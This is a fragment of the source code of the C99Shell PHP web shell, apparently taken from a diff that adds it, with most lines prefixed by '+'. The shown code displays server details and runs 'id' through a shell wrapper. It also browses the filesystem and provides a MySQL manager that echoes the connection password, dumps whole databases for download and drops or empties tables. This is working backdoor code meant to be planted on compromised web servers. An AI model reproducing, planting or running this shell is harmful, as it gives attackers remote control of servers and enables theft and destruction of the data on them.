Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === false) {$free = 0;} + if ($total === false) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".urlencode($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".urlencode($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".urlencode($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".urlencode($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".urlencode($sql_db);} + $sql_surl .= "&"; + //echo "<h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3>"; + echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\"><tr><td width=\"100%\" height=1 colspan=2 valign=top><center>"; + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type=hidden name=act value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type=submit value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + echo "<td width=\"25%\" height=\"100%\" valign=\"top\"><a href=\"".$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&\"><b>Home</b></a><hr size=\"1\" noshade>"; + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + echo "<td width=1 height=100 valign=top><a href=\"".$sql_surl."\"><b>Home</b></a><hr size=1 noshade>"; + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<form action=\"".$surl."\"><input type=hidden name=act value=sql><input type=hidden name=sql_login value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=sql_passwd value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=sql_server value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=sql_port value=\"".htmlspecialchars($sql_port)."\"><select name=sql_db>"; + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size=1 noshade>Please, select database<hr size=1 noshade><input type=submit value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=1 valign=top>"; + //Start center panel + $diplay = true; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=1 noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=\"sql_act\" value=\"query\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="sql"><input type=hidden name="sql_act" value="newtbl"><input type=hidden name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type=hidden name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type=hidden name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type=hidden name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type=hidden name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type=submit value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="sql"><input type=hidden name="sql_act" value="dump"><input type=hidden name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type=hidden name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type=hidden name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type=hidden name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type=hidden name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type=submit name=submit value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = false; + echo "<form method=\"GET\"><input type=hidden name=act value=\"sql\"><input type=hidden name=\"sql_act\" value=\"dump\"><input type=hidden name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=hidden name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=submit name=submit value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = true; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = true; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=POST><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=hidden name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=submit value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=hidden name=act value=\"sql\"><input type=hidden name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=hidden name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=hidden name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=hidden name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=hidden name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=submit value=\"View\"></form>"; + echo "<br><form method=POST><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=green><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=green>NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=POST><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" 